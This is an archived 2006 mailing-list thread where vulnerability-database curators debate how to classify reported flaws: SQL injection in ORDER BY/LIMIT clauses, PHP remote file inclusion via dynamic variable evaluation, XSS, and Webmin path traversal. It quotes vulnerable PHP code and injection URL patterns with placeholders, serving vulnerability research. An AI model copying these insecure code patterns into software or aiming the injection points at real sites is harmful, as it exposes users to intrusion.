>> Won't it allow you to use a union, such as:
>>   'union select ...' when injected into $limit?
>
>My understanding is that the union has to happen before the order
by...
>
>Although information in this postgresql post suggests that you 
>might have
>a chance by using parentheses...
>
>  http://archives.postgresql.org/pgsql-sql/2003-09/msg00406.php
>
>although you'd probably need to get in an opening parenthesis 
>somehow, and
>maybe that's postgresql-specific.
>
>and here's a mysql comment on order by within parentheses for unions:
>
>  http://bugs.mysql.com/bug.php?id=11877
>
>- Steve
>

These links refer to performing a union on two independent SQL
statements, i.e., ([SQL Statement 1]) UNION ([SQL Statement 2])

What Sullo was talking about was something like:
[SQL Statement] ORDER BY age UNION ([SQL Statement 2])
which will not work, as it will impose an ordering
restriction on unrelated data.

The only chance for SQL inject would be:
[SQL Statement 1]; [SQL Statement 2]
which happens to be forbidden by the MySQL API.
NOTE: This has not been verified across all
databases and APIs, only on MySQL.


William Heinbockel
Infosec Engineer
The MITRE Corporation
202 Burlington Rd. MS S145
Bedford, MA 01730
heinbockel at mitre.org
781-271-2615 

From coley at linus.mitre.org  Mon Jun 26 18:05:58 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 26 Jun 2006 18:05:58 -0400 (EDT)
Subject: [VIM] On SQL injection and PHP mysql_query...
In-Reply-To: <20060626173137.kpqkl22stpss8sgs@www.cirt.net>
References: <224FBC6B814DBD4E9B9E293BE33A10DCF7F31C@IMCSRV5.MITRE.ORG>
	<20060626164207.wo4qg03l6p604sso@www.cirt.net>
	<Pine.GSO.4.51.0606261649000.8240@faron.mitre.org>
	<20060626173137.kpqkl22stpss8sgs@www.cirt.net>
Message-ID: <Pine.GSO.4.51.0606261802020.8240@faron.mitre.org>


On Mon, 26 Jun 2006, Sullo wrote:

> However, injecting a ' would still throw an error... which does not
> mean it's exploitable, but means you are injecting something into the
> sql stream.  perhaps we need a new term for "sql termination" rather
> than "sql injection"?

I've been playing around with "forced SQL error," but like all the terms I
make up, it's rather forced :)  Also, that won't cover the cases that will
eventually come up in which you can provide malicious values that are
valid for the query, but not intended to be allowed by the developer.
Say, an "order by" argument that should only allow user-specified fields A
and B, but the attacker can specify C, in a security-relevant context.

- Steve

From coley at linus.mitre.org  Mon Jun 26 18:11:07 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 26 Jun 2006 18:11:07 -0400 (EDT)
Subject: [VIM] On SQL injection and PHP mysql_query...
In-Reply-To: <224FBC6B814DBD4E9B9E293BE33A10DCF7F37B@IMCSRV5.MITRE.ORG>
References: <224FBC6B814DBD4E9B9E293BE33A10DCF7F37B@IMCSRV5.MITRE.ORG>
Message-ID: <Pine.GSO.4.51.0606261806230.8240@faron.mitre.org>


On Mon, 26 Jun 2006, Heinbockel, Bill wrote:

> So that brings the question, is the failing of an SQL query
> really a security vulnerability? I know that Steve refers to
> these as "forced SQL errors", but there a threat here?

If it produces a verbose error message that leads to things like path
disclosure, then I think it's reasonable to include it.  But if all you
get is a generic "SQL query is malformed" error message, then I don't
think of it as security relevant at all.  I've occasionally used that
reasoning to concur with a vendor dispute.

> Or likewise, is the injection of tags into a PHP program that
> prevents the proper display of a page (but is somehow immune
> to XSS -- maybe by only accepting the < character or something)?

This is probably dependent on context, although I don't remember running
across any good examples of this.  Maybe if the page is a log page that
should be viewed by an admin, where the bug could be used by the attacker
to hide their tracks...

- Steve

From coley at mitre.org  Mon Jun 26 20:09:57 2006
From: coley at mitre.org (Steven M. Christey)
Date: Mon, 26 Jun 2006 20:09:57 -0400 (EDT)
Subject: [VIM] Openwebmail: 2 XSS vulns not one, and some version hints
Message-ID: <200606270009.k5R09vHc017629@faron.mitre.org>


Various VDB's appear to be combining two distinct XSS reports from the
OpenWebMail vendor, and/or are not being precise about the
distinction.  Making this more difficult appears to be the lack of
clearly labeled versions.

The changelog is:

  http://openwebmail.org/openwebmail/doc/changes.txt


Relevant items are:


  06/18/2006
  ----------
  3. fix additional XSS exploits in openwebmail-read.pl due to the
     from address not being sanitized properly

  ...

   05/12/2006
   ----------

   2. modify some additional openwebmailerror calls that need to
      display HTML, to make them XSS attack safe.
   ...

   5. fix additional XSS possible exploits caused by the To and From
      name and address not being sanitized before display


We can sort of infer version numbers from here:

  http://openwebmail.org/openwebmail/download/release/

But the 02-May-2006 date for 2.52 is out of alignment with the above
dates in the changelog.

Anyway, back to the differences between 06/18/2006 and 05/12/2006.

It comes down to the diffs (credits to FrSIRT for pointing in the
direction of the SVN archives).

For the 06/18/2006 version, we have cleansing of the $eaddr variable
in openwebmail-read.pl:

  http://openwebmail.acatysmoof.com/dev/svn/index.pl/openwebmail/diff/trunk/src/cgi-bin/openwebmail/openwebmail-read.pl?rev1=236;rev2=237


For the 05/12/2006 version, the affected file is openwebmail-main.pl,
as seen here:

  http://openwebmail.acatysmoof.com/dev/svn/index.pl/openwebmail/diff/trunk/src/cgi-bin/openwebmail/openwebmail-main.pl?rev1=235;rev2=236


I don't know about item (2) from the 05/12/2006 changelog - maybe it's
defensive or maybe there's a specific attack vector.

- Steve

From coley at linus.mitre.org  Mon Jun 26 22:05:00 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 26 Jun 2006 22:05:00 -0400 (EDT)
Subject: [VIM] Maybe SpC-X was right after all...
Message-ID: <Pine.GSO.4.51.0606262203230.8240@faron.mitre.org>


I've been on what felt like a wild goose chase for a couple months, with
all these disclosures that seem to handle include statements with values
with static values.

Turns out that at least some of it could be dynamic variable evaluation,
which can overwrite the initial static value if it's called after the
fact.

Now we need to look more closely at SpC-X and other issues...

- Steve


---------- Forwarded message ----------
Date: Mon, 26 Jun 2006 22:01:01 -0400 (EDT)
From: Steven M. Christey <coley at mitre.org>
To: bugtraq at securityfocus.com
Subject: Re: [ECHO_ADV_34$2006] W-Agora (Web-Agora) <= 4.2.0 (inc_dir)
    Remote File Inclusion


>Successful exploitation requires that "register_globals= Off ".

That seems very strange, doesn't it?

Especially if you look at the source code.

Let's start with search.php, one of the vulnerable vectors:

  <?php

  ...

  require ("init.inc");

and in init.inc:

  require ("globals.inc");

  ...

  require ("$inc_dir/misc_func.$ext");

and in globals.inc:

  if (defined("_GLOBALS")) return;
  define('_GLOBALS', 1);

  ...

  $inc_dir    = 'include';


So - how could an attacker POSSIBLY modify the $inc_dir variable AFTER
it's set to a static value and when register_globals is off?

The answer is dynamic variable evaluation, which I posted about a
couple months ago at:

  http://www.securityfocus.com/archive/1/432828


If we look more closely at globals.inc, later on, we see this:

  if (!get_cfg_var("register_globals") ) {
      include "include/register_globals.$ext";
  }

and then if we look at register_globals.php, we see code like this:

	if (isset($HTTP_GET_VARS)) {
		reset($HTTP_GET_VARS);
		while ( list($var, $val) = each($HTTP_GET_VARS) ) {
			$$var=$val;
		}
	}

as well as for $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_POST_FILES,
$HTTP_COOKIE_VARS.


This highlights the insidious nature of dynamic evaluation.

So - for those of us who have been questioning vulnerability reports
because we were seeing static values being set in include files - we
need to see if dynamic variable evaluation happens *after* the
variable is set, but *before* it's used.

Nasty, nasty stuff...

- Steve

From coley at linus.mitre.org  Mon Jun 26 22:13:59 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 26 Jun 2006 22:13:59 -0400 (EDT)
Subject: [VIM] Simpleshout 1.6.0 Version - Remote File Include
	Vulnerability
In-Reply-To: <200606150647.k5F6l7Yu022422@faron.mitre.org>
References: <200606150647.k5F6l7Yu022422@faron.mitre.org>
Message-ID: <Pine.GSO.4.51.0606262213370.8240@faron.mitre.org>


Looked at this for dynamic variable evaluation, doesn't seem to be there.
Still erroneous research, apparently...

From coley at linus.mitre.org  Mon Jun 26 22:16:05 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 26 Jun 2006 22:16:05 -0400 (EDT)
Subject: [VIM] Ltwcalendar 4.1.3 version - Remote File Include
	Vulnerabilities
In-Reply-To: <200606150640.k5F6eOEs022204@faron.mitre.org>
References: <200606150640.k5F6eOEs022204@faron.mitre.org>
Message-ID: <Pine.GSO.4.51.0606262215330.8240@faron.mitre.org>


source code does not seem to have dynamic variable evaluation or eval
calls... so SpC-X report still seems erroneous.

From theall at tenablesecurity.com  Mon Jun 26 22:28:08 2006
From: theall at tenablesecurity.com (George A. Theall)
Date: Mon, 26 Jun 2006 22:28:08 -0400
Subject: [VIM] Maybe SpC-X was right after all...
In-Reply-To: <Pine.GSO.4.51.0606262203230.8240@faron.mitre.org>
References: <Pine.GSO.4.51.0606262203230.8240@faron.mitre.org>
Message-ID: <44A097B8.1030008@tenablesecurity.com>

Steven M. Christey wrote:
> I've been on what felt like a wild goose chase for a couple months, with
> all these disclosures that seem to handle include statements with values
> with static values.
> 
> Turns out that at least some of it could be dynamic variable evaluation,
> which can overwrite the initial static value if it's called after the
> fact.
> 
> Now we need to look more closely at SpC-X and other issues...

Agreed, although SpC-X has certainly been responsible for claiming
things such as this:

  $phphg_real_path = "./";
  include($phphg_real_path . 'common.php');

are exploitable when in fact they're not, regardless of any of PHP's
settings.

Btw, anyone else notice that SpC-X's web site at
http://www.root-security.org/ is giving 404's for everything now?

George
-- 
theall at tenablesecurity.com

From jericho at attrition.org  Tue Jun 27 17:44:30 2006
From: jericho at attrition.org (security curmudgeon)
Date: Tue, 27 Jun 2006 17:44:30 -0400 (EDT)
Subject: [VIM] MaxTrade - vendor ack and second bug?
Message-ID: <Pine.LNX.4.64.0606271741530.17045@forced.attrition.org>


Amusing comment left on the OSVDB 25122 entry:

Comment from Avalon Ltd. (83.228.39.7):
SOLUTION: Sanitised 3 files. For can not be exploited to manipulate SQL 
queries by injecting arbitrary SQL code. Upgrade to MAXTrade v1.0.3 
STATUS: Fixed
BUG 002: Sanitized search.php for can not be exploited to manipulate SQL 
queries by injecting arbitrary SQL code SOLUTION: Upgrade to MAXTrade 
v1.0.2 STATUS: Fixed This site www.osvdb.org sucks !!!!! VERY OLD UP TO 
DATE DATA !!!!


The vendor URL is http://softdivision.com/, which is different than the 
original pridels link. Looking at the 'bug tracker' link we see the r0t 
disclosed issue, but it also mentions a search.php sql injection as well, 
which was not disclosed by r0t apparently.

http://softdivision.com/info.php?info=83&stranica=menu

     * BUG 001:

Vuln. discovered by :
r0t http://pridels.blogspot.com/2006/04/MAX-Trade-sql-inj.html
Date: 30 april 2006
vendorlink:http://www.softdivision.com/info.php?info=83&stranica=menu
affected versions:1.0.1 and prior
###############################################
Vuln. Description:
MAX-Trade contains a flaw that allows a remote sql injection attacks. 
Input
passed to the "categori" and "stranica" parameter in "pocategories.php" 
isn't
properly sanitized before being used in a SQL query. This can be exploited 
to
manipulate SQL queries by injecting arbitrary SQL code.

examples:
/pocategories.php?stranica=categories&categori=[SQL]
/pocategories.php?stranica=[SQL]

SOLUTION:
Sanitised 3 files. For can not be exploited to manipulate SQL queries by
injecting arbitrary SQL code. Upgrade to "MAX-Trade" v1.0.3

STATUS: Fixed

-------------------------------------------------------------------------------

     * BUG 002:

Sanitized search.php for can not be exploited to manipulate SQL
queries by injecting arbitrary SQL code

SOLUTION:
Upgrade to "MAX-Trade" v1.0.2

STATUS: Fixed

From coley at mitre.org  Wed Jun 28 19:42:19 2006
From: coley at mitre.org (Steven M. Christey)
Date: Wed, 28 Jun 2006 19:42:19 -0400 (EDT)
Subject: [VIM] uebimiau vendor fixes for older issues
Message-ID: <200606282342.k5SNgJvx012725@faron.mitre.org>


Some fixes for older issues, not the recent r0t one...

http://www.uebimiau.org/news.php


1) Security update

  2006-03-01

  A newer version (2.7.10) has been released. It contains minor bug
  fixes in response to Security Advisory BUGTRAQ #20060129

  This is CVE-2006-0469.  The funny "BUGTRAQ #20060129" was probably
  adapted from a CVE-style reference.

2) Security update

   2005-08-01

   In answer to a recent Security Advisory , we are publishing a newer
   version with some changes in the configuration and in the way of
   treating the critical information.  Despite the advice in the
   config file, many administrators ignore it and set the
   configuration as default.  Systems set according the config file
   are not affected by this advisory.


   No CVE available, but possibly OSVDB:13348


- Steve

From coley at mitre.org  Fri Jun 30 16:05:13 2006
From: coley at mitre.org (Steven M. Christey)
Date: Fri, 30 Jun 2006 16:05:13 -0400 (EDT)
Subject: [VIM] IMGallery - "galeria.php" not "galerie.php"
Message-ID: <200606302005.k5UK5DwB004913@faron.mitre.org>


Original source ref:

  http://pridels.blogspot.com/2006/06/imgallery-vuln.html

various vdb's are mentioning "galerie.php", but r0t said - and I
confirmed via the product download - that it's "galeria.php".


> find IMGallery | grep galer

  IMGallery/galeria.php


and while we're at it:

  $start = $_GET['start'];

  ...

  $pobieranie = mysql_query ("SELECT  *  FROM  galeria WHERE kategoria LIKE '$kategoria' AND album LIKE '$album' AND opis LIKE '%$fraza%' AND hidden = '' AND verified = 'T' ORDER BY $sort DESC LIMIT $start,$limit");


so exploitation might be limited per Bill Heinbockel's previous
comments, but there's injection of something.

Regarding the sort parameter - the first reference of "sort" in
galeria.php is in the mysql_query() call above.  There are a whole lot
of include files, including wyszukiwarka.php, which has:

  $sort = $_GET['sort'];


Oh - and if you're asking yourself about the other variables mentioned
in the query above, the answer is "looks like it but I didn't take the
time to prove it."

- Steve

From jericho at attrition.org  Fri Jun 30 16:39:52 2006
From: jericho at attrition.org (security curmudgeon)
Date: Fri, 30 Jun 2006 16:39:52 -0400 (EDT)
Subject: [VIM] Webmin traversal - changelog
Message-ID: <Pine.LNX.4.64.0606301637400.23390@forced.attrition.org>


http://www.webmin.com/changes.html

Version 1.290 (29 June 2006)
Fixed a security hole that would allow a remote attacker to view any file 
on the system.

Version 1.280 (16 June 2006)
Fixed a security hole that allows remote viewing of any file on the system 
when Webmin is run on a Windows server.

--

Multiple guess!

a) Not properly fixed the first time
b) Originally thought to be Windows only, then discovered works on Unix
c) Completely seperate issues/scripts

From coley at linus.mitre.org  Fri Jun 30 16:52:01 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Fri, 30 Jun 2006 16:52:01 -0400 (EDT)
Subject: [VIM] Webmin traversal - changelog
In-Reply-To: <Pine.LNX.4.64.0606301637400.23390@forced.attrition.org>
References: <Pine.LNX.4.64.0606301637400.23390@forced.attrition.org>
Message-ID: <Pine.GSO.4.51.0606301649390.1291@faron.mitre.org>


On Fri, 30 Jun 2006, security curmudgeon wrote:

> Version 1.290 (29 June 2006)
> Fixed a security hole that would allow a remote attacker to view any file
> on the system.
>
> Version 1.280 (16 June 2006)
> Fixed a security hole that allows remote viewing of any file on the system
> when Webmin is run on a Windows server.

The 1.280 fix is associated with CVE-2006-3274, which SNS stated was a "\"
directory traversal issue, so it was probably Windows-specific.

So, I'd suspect a variant or brand-new issue, as opposed to a bad patch.

- Steve

From theall at tenablesecurity.com  Fri Jun 30 16:57:16 2006
From: theall at tenablesecurity.com (George A. Theall)
Date: Fri, 30 Jun 2006 16:57:16 -0400
Subject: [VIM] Webmin traversal - changelog
In-Reply-To: <Pine.LNX.4.64.0606301637400.23390@forced.attrition.org>
References: <Pine.LNX.4.64.0606301637400.23390@forced.attrition.org>
Message-ID: <44A5902C.1070009@tenablesecurity.com>

security curmudgeon wrote:

> Multiple guess!
> 
> a) Not properly fixed the first time
> b) Originally thought to be Windows only, then discovered works on Unix
> c) Completely seperate issues/scripts

The issue with 1.270 involves a failure to sanitize '\' characters in
simplify_path(), while that in 1.280 occurs because simplify_path() is
called before HTML entities are decoded. Sample exploit available on
request.

George
-- 
theall at tenablesecurity.com

From coley at mitre.org  Fri Jun 30 18:01:39 2006
From: coley at mitre.org (Steven M. Christey)
Date: Fri, 30 Jun 2006 18:01:39 -0400 (EDT)
Subject: [VIM] Hostflow "XSS" by r0t - another interpretation
Message-ID: <200606302201.k5UM1dnF009706@faron.mitre.org>


ref:

  http://pridels.blogspot.com/2006/06/hostflow-vuln.html


VDB's are calling this XSS, but r0t didn't.  Since r0t frequently
finds XSS, this suggests to me that he's talking about something
different.

My interpretation is roughly:

 - the product seems to protect against normal XSS (or at least
   obvious XSS)

 - normal functioning of the product allows IMG tags

 - when the victim accesses new_ticket.php, it's through a GET request
   that includes credentials within the parameters

 - when the victim's browser loads the IMG, it sends the referrer URL,
   which includes the credentials, to the attacker's site

 - the credentials in the URL are the only elements used for
   authentication, so the attacker can then replay them to gain access


- Steve